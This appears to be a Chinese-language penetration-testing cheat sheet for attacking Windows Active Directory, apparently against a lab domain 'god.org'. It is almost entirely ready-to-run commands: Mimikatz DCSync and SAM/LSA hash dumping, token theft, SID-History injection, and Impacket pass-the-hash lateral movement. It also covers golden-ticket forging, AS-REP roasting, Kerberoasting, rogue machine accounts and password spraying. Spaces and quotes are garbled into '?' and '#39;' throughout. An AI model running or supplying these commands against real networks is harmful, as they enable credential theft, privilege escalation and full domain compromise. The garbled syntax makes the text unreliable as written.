
#?通过DSync导出指定用户的密码Hash的详细信息
lsadump::dcsync?/domain:god.org?/user:krbtgt

#?通过DSync导出所有用户的Hash
lsadump::dcsync?/domain:god.org?/all?/csv

#?读取所有域用户的Hash,需要在域控上以管理员权限打开窗口
privilege::debug
lsadump::lsa?/patch

#?从sam.hive和system.hive文件中获得NTLM?Hash
reg?save?hklm\sam?sam.hive
reg?save?hklm\system?system.hive
lsadump::sam?/sam:sam.hive?/system:system.hive

#?从本地SAM文件中读取密码Hash
privilege::debug
token::elevate
lsadump::sam
  1. 1.?token模块

#?列出当前进程的token信息
token::whoami
token::whoami?/full

#?列出当前系统中存在的token,高权限流出的token最全面
token::list

#?窃取指定token?id的token
token::elevate?/id

#?窃取System权限的token(默认)
token::elevate?/system

#?窃取域管理员的token
token::elevate?/domainadmin

#?窃取企业管理员的token
token::elevate?/enterpriseadmin

#?窃取本地管理员的token
token::elevate?/admin

#?窃取Local?Service权限的token
token::elevate?/localservice

#?窃取Network?service权限的token
token::elevate?/networkservice

#?恢复为之前的token
token::revert
  1. 1.?sid模块

#?查询指定对象的SID
sid::lookup?/name:xuan

#?查询指定SID对应的对象
sid::lookup?/sid:S-1-5-21-1982601180-2087634876-2293013296-1001

#?通过samAccountName属性查询对象的一些信息
sid::query?/sam:lzx

#?通过SID属性查询对象的一些信息
sid::query?/sid:S-1-5-21-2952760202-1353902439-2381784089-1109

#?通过samAccountName属性修改对象的SID
sid::patch
sid::modify?/sam:liu?/new:S-1-5-21-2952760202-1353902439-2381784089-109

#?通过sid属性修改对象的SID
sid::patch
sid::modify?/sid:S-1-5-21-1982601180-2087634876-2293013296-1001?/new:S-1-5-21-2952760202-1353902439-2381784089-109

#?通过samAccountName属性给对象添加一个SID?History属性
sid::patch
sid::add?/sam:lzx?/new:S-1-5-21-2952760202-1353902439-2381784089-109

#?通过sid属性给对象添加一个SID?History属性
sid::patch
sid::add?/sid:S-1-5-21-1982601180-2087634876-2293013296-1001?/new:S-1-5-21-2952760202-1353902439-2381784089-109

#?将administrator的SID添加到test的SID?History属性中
sid::patch
sid::add?/sam:lzx?/new:administrator

#?清除指定samAccountName对象的SID?History属性
sid::clear?/sam:xuan

#?清除指定sid对象的SID?History属性
sid::clear?/sid:S-1-5-21-1982601180-2087634876-2293013296-1001

Impacket

远程连接

  • ??对于域环境:连接域内普通主机,额可以使用普通与用户账户。连接域控需要域管理员账户

  • ??对于工作组环境:只能使用administrator用户去连接

psexec.py

  • ??连接原理:通过一个管道将二进制文件传到目标机器的C:\windows目录下,并在远程主机上创建一个服务。然后通过该服务运行二进制文件,运行完成后删除服务和二进制文件 。该脚本在执行上传的二进制文件时,会被杀毒软件查杀。

  • ??连接条件:目标主机开放445端口、IPC$和非IPC$的任意可写共享

  1. 1.?工作组环境

#?使用明文密码
proxychains?-q?python3?psexec.py?administrator:P@ss1234@192.168.52.138

#?使用密码hash
proxychains?-q?python3?psexec.py?administrator@192.168.52.138?-hashes?aad3b435b51404eeaad3b435b51404ee:74520a4ec2626e3638066146a0d5ceae
  1. 1.?域环境

#?使用明文密码
proxychains?-q?python3?psexec.py?god.org/administrator:P@ss1234@192.168.52.138

#?使用密码hash
proxychains?-q?python3?psexec.py?god.org/administrator@192.168.52.138?-hashes?aad3b435b51404eeaad3b435b51404ee:74520a4ec2626e3638066146a0d5ceae

smbexec.py

  • ??连接原理:通过文件共享在远程系统中创建服务,,将要运行的命令通过服务写在bat文件中来执行,然后将执行结果卸载文件中来获取执行命令的输出,最后将bat文件、输出文件和服务都删除。

  • ??连接条件:目标主机开启445端口、IPC$和非IPC的任意可写共享,可以使用除ipc共享外的其他所有共享 ,默认使用的时C$,可以使用-share参数指定其他共享。

  • ??连接过程

  1. 1.?工作组环境

默认情况下该脚本使用的时UTF-8编码,国内机器大多数时GBK编码 可以使用 -codec参数指定GBK编码

#?使用明文密码
proxychains?-q?python3?smbexec.py?administrator:P@ss1234@192.168.52.138?-codec?gbk

#?使用密码hash
proxychains?-q?python3?smbexec.py?administrator@192.168.52.138?-hashes?aad3b435b51404eeaad3b435b51404ee:74520a4ec2626e3638066146a0d5ceae
  1. 1.?域环境

#?使用明文密码
proxychains?-q?python3?smbexec.py?god.org/administrator:P@ss1234@192.168.52.138

#?使用密码hash
proxychains?-q?python3?smbexec.py?god.org/administrator@192.168.52.138?-hashes?aad3b435b51404eeaad3b435b51404ee:74520a4ec2626e3638066146a0d5ceae

wmiexec.py

该脚本主要是WMI来实现命令执行,在躲避AV查杀方面做的最好

  1. 1.?连接条件

目标主机开启445和135端口,并且依赖与admin$,135端口来执行命令 445端口来读取回显

  1. 1.?连接过程

1)工作组环境

#?使用明文密码
proxychains?-q?python3?wmiexec.py?administrator:P@ss1234@192.168.52.138?-codec?gbk

#?使用密码hash
proxychains?-q?python3?wmiexec.py?administrator@192.168.52.138?-hashes?aad3b435b51404eeaad3b435b51404ee:74520a4ec2626e3638066146a0d5ceae

2)域环境

#?使用明文密码
proxychains?-q?python3?wmiexec.py?god.org/liu:123.com@192.168.52.138?-codec?gbk

#?使用密码hash
proxychains?-q?python3?wmiexec.py?god.org/administrator@192.168.52.138?-hashes?aad3b435b51404eeaad3b435b51404ee:74520a4ec2626e3638066146a0d5ceae

atexec.py

该脚本通过任务计划服务来在目标主机上实现命令执行,并返回命令执行后的输出结果

1)工作组环境

#?使用明文密码
proxychains?-q?python3?atexec.py?god.org/liu:P@ss1234@192.168.52.143?whoami

#?使用密码Hash
proxychains?-q?python3?atexec.py?administrator@192.168.52.143?whoami?-hashes?aad3b435b51404eeaad3b435b51404ee:74520a4ec2626e3638066146a0d5ceae

2)域环境

#?使用明文密码
proxychains?-q?python3?atexec.py?god.org/liu:123.com@192.168.52.143?whoami

#?使用密码Hash
proxychains?-q?python3?atexec.py?god.org/administrator@192.168.52.143?whoami?-hashes?aad3b435b51404eeaad3b435b51404ee:74520a4ec2626e3638066146a0d5ceae

dcomexec.py

该脚本通过DCOM在目标主机上实现命令,并返回命令执行后的输出结果

#?使用明文密码
proxychains?-q?python3?dcomexec.py?liu:123.com@192.168.52.143?whoami

#?使用密码Hash
proxychains?-q?python3?dcomexec.py?administrator@192.168.52.143?whoami?-hashes?aad3b435b51404eeaad3b435b51404ee:74520a4ec2626e3638066146a0d5ceae

smbclient.py

可以向服务器上传文件

1)工作组

#?使用明文密码
proxychains?-q?python3?smbclient.py?administrator:P@ss1234@192.168.52.143
#?使用密码hash
proxychains?-q?python3?smbclient.py?administrator@192.168.52.143?-hashes?aad3b435b51404eeaad3b435b51404ee:74520a4ec2626e3638066146a0d5ceae

#?连接成功之后执行的命令
info?#?查看信息
shares?#?查看开启的共享
use?xx?#?指定使用的共享
ls
cd
put?xx?#?上传文件
get?xx?#?下载文件

2)域环境

#?使用明文密码
proxychains?-q?python3?smbclient.py?god.org/administrator:P@ss1234@192.168.52.143
#?使用密码hash
proxychains?-q?python3?smbclient.py?god.org/administrator@192.168.52.143?-hashes?aad3b435b51404eeaad3b435b51404ee:74520a4ec2626e3638066146a0d5ceae

获取域内所有用户的Hash(secretdump.py)

该脚本是利用DCSync功能导出域内用户的Hash,需要连接的账户和密码具有DCSync权限

#?获取域内所有的用户hash
proxychains?-q?impacket-secretsdump?god.org/administrator:P@ss1234@192.168.52.138?-just-dc

#?使用卷影复制服务导出域内所有hash
proxychains?-q?impacket-secretsdump?god.org/administrator:P@ss1234@192.168.52.138?-use-vss

#?获取域内指定krbtgt用户的hash
proxychains?-q?impacket-secretsdump?god.org/administrator:P@ss1234@192.168.52.138?-just-dc-user?krbtgt

#?如果当前导入了管理员的票据,则可以不需要密码直接导出Hash
secretsdump.exe?-k?-no-pass?owa.god.org??-dc-ip?192.168.52.138?-just-dc-user?administrator

#?如果是域林,则指定用户需要加域前缀
proxychains?-q?impacket-secretsdump?god.org/administrator:P@ss1234@192.168.52.138?-just-dc-user?"god.org\krbtgt"

生成黄金票据

需要目标域的krbtgt 目标域的SID

#?生成黄金票据
ticketer.exe?-domain-sid?S-1-5-21-2952760202-1353902439-2381784089?-nthash?58e91a5ac358d86513ab224312314061?-domain?god.org?administrator

#?导入票据
set?KRB5CCNAME=C:\Users\lzx\Desktop\administrator.ccache

#?导出administrator用户的hash
secretsdump.exe?-k?-no-pass?administrator@owa.god.org?-dc-ip?192.168.52.138?-just-dc-user?administrator
在导出hash的时候有的机器会出现如下错误

这是因为编码错误

解决报错可以每次打开命令行都用chcp 936来更换当前代码页。

请求TGT(getTGT.py)

需要域用户名、密码/hash/AESKey 生成具有指定用户权限的.ccache格式的TGT。生成的TGT和由于下一步请求ST。

#?申请TGT,如果用户密码含有@?则只接受输入
getTGT.exe?god.org/administrator@192.168.52.138?-dc-ip?192.168.52.138?-debug

请求ST(getST.py)

#?提供账户和密码请求指定SPN服务的票据
getST.exe?-dc-ip?192.168.52.138?-spn?cifs/owa.god.org?god.org/administrator:P@ss1234

#?导入票据
set?KRB5CCNAME=C:\Users\lzx\Desktop\administrator.ccache

#?访问该服务
smbexec.exe?-k?-no-pass?owa.god.org

使用TGT生成的票据请求ST

#?导入上一步请求的TGT票据
set?KRB5CCNAME=C:\Users\lzx\Desktop\administrator@192.168.52.138.ccache

#?请求指定SPN的ST
getST.exe?-k?-no-pass?-dc-ip?192.168.52.138?-spn?cifs/owa.god.org?god.org/administrator@192.168.52.138

#?导入票据
set?KRB5CCNAME=C:\Users\lzx\Desktop\administrator@192.168.52.138.ccache

#?访问指定服务
smbexec.exe?-k?-no-pass?owa.god.org

获取域的SID(lookupsid.py)

如果获得了域内任意一个用户的账户和密码,则可以利用此脚本执行如下命令获得该域的SID值

lookupsid.exe?god.org/xuan:123.com@192.168.52.138?-domain-sids

枚举域内用户(samrdump.py)

该脚本通过SAMR协议枚举除域内所有用户,使用时需要一个有效的域用户

samrdump.exe?god.org/liu:123.com@192.168.52.138?-csv

增加机器账户(addcomputer.py)

在进行基于资源的约束性委派攻击时,攻击者往往需要一个机器账户进行控制,可以使用该脚本远程连接域控创建一个机器账户,使用时需要一个有效的域用户,有两种方式可以创建,一种是SAMR协议,另一种是LDAPS协议

使用SAMR协议远程创建一个机器账户machine$,密码为123.com

addcomputer.exe?-computer-name?'machine#39;?-computer-pass?'123.com'?-dc-ip?192.168.52.138?'god.org/liu:123.com'?-method?SAMR?-debug
addcomputer.exe?-computer-name?'machine#39;?-computer-pass?'123.com'?-dc-ip?192.168.52.138?'god.org/liu:123.com'?-method?LDAPS?-debug

#?修改密码
addcomputer.exe?-computer-name?'machine#39;?-computer-pass?'123.com'?-dc-ip?192.168.52.138?'god.org/liu:123.com'?-method?LDAPS?-debug?-no-add

使用SAMR协议创建的机器用户没有SPN,使用LDAPS协议创建的 机器账户具有SPN

AS-REP Roasting攻击(GetNPUsers.py)

可以自动获取指定users.txt文件中的用户是否设置了不需要Kerberos预身份验证属性,并获取设置了该属性的账户的Hash加密的Login Session Key

GetNPUsers.exe?-dc-ip?192.168.52.138?-userfile?users.txt?-format?john?god.org/

Kerberoasting攻击(GetUserSPNs.py)

GetUserSPNs.py可以在域外查询指定域的SPN。需要提供域账户和密码

GetUsersSPNs.exe?-dc-ip?192.168.52.138?god.org/liu:123.com

#?请求注册于用户下的所有SPN的ST,并以hashcat能破解的格式保存在hash.txt
GetUsersSPNs.exe?-request?-dc-ip?192.168.52.138?god.org/liu:123.com?-outputfile?hash.txt

#?#?请求注册于指定用户下的SPN的ST,并以hashcat能破解的格式保存在hash.txt
GetUsersSPNs.exe?-request?-dc-ip?192.168.52.138?god.org/liu:123.com?-outputfile?hash.txt?-request-user?administrator

票据转换(ticketConverter.py)

将.ccache和.kirbi格式的票据进行相互转化

python3?ticketConverter.py?administrator.ccache?administrator.kirbi
python3?ticketConverter.py?administrator.kirbi?administrator.ccache

增加、删除和查询SPN(addspn.py)

该脚本用于增加、删除SPN。但是增加SPN需要域管理员权限,而删除SPN只需要对目标属性有修改权限即可

#?查询目标SPN,需要一个spn参数,可以是不存在的spn
python3?addspn.py?-u?'god.org\liu'?-p?'123.com'?-t?'machine#39;?-s?aa/aa?-q?192.168.52.138

#?删除目标指定SPN,需要提供一个spn参数,必须是存在的spn
python3?addspn.py?-u?'god.org\liu'?-p?'123.com'?-t?'machine#39;?-s?HOST/machine.god.org?-r?192.168.52.138

#?普通域用户五大增加SPN,域管理员才有权限增加SPN
python3?addspn.py?-u?'god.org\liu'?-p?'123.com'?-t?'machine#39;?-s?test/test?-a?192.168.52.138

#?域管理员增加SPN
python3?addspn.py?-u?'god.org\administrator'?-p?'P@ss1234'?-t?'machine#39;?-s?test/test?-a?192.168.52.138

Kerbrute

kerbrute_windows_amd64.exe?userenum?--dc?192.168.52.138?-d?god.org?user.txt

参数含义

  • ? userenum:用户枚举模式

  • ??-dc:指定域控ip

  • ? d:指定域名

  • ? user.txt:用户名字典文件,用户名可不加域名后缀

kerbrute_windows_amd64.exe?passwordspray?--dc?192.168.52.138?-d?god.org?user.txt?P@ss1234

kerbrute_windows_amd64.exe?bruteuser?--dc?192.168.52.138?-d?god.org?pass.txt?administrator

参数含义

  • ? passwordspray:密码枚举模式

  • ??-dc:指定域控ip

  • ? d:指定域名

  • ? user.txt:用户名字典文件,用户名可不加域名后缀

pyKerbrute

#?TCP模式
proxychains?-q?python2?EnumADUser.py?192.168.52.138?god.org?../kerbrute/user.txt?tcp
#?UDP模式
proxychains?-q?python2?EnumADUser.py?192.168.52.138?god.org?../kerbrute/user.txt?udp

MSF模块域内用户名枚举

use?auxiliary/gather/kerberos_enumusers
set?rhosts?192.168.52.138
set?domain?god.org
set?user_file?/mnt/d/tools/script/Intranet/recon/kerbrute/user.txt
run

CrackMapExec

proxychains?-q?crackmapexec?smb?192.168.52.1/24?-u?user.txt?-p?pass.txt?--continue-on-success

DomainPasswordSpray.ps1

Set-ExecutionPolicy?Unrestricted
Import-Module?.\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray?-Password?123.com

MSF模块密码喷洒

use?auxiliary/scanner/smb/smb_login
set?rhost?192.168.52.0/24
set?smbdomain?god.org
set?Pass_FILE?script/Intranet/recon/kerbrute/pass.txt
set?USER_FILE?script/Intranet/recon/kerbrute/user.txt
run


Tags:

本文暂时没有评论,来添加一个吧(●'◡'●)

欢迎 发表评论:

最近发表
标签列表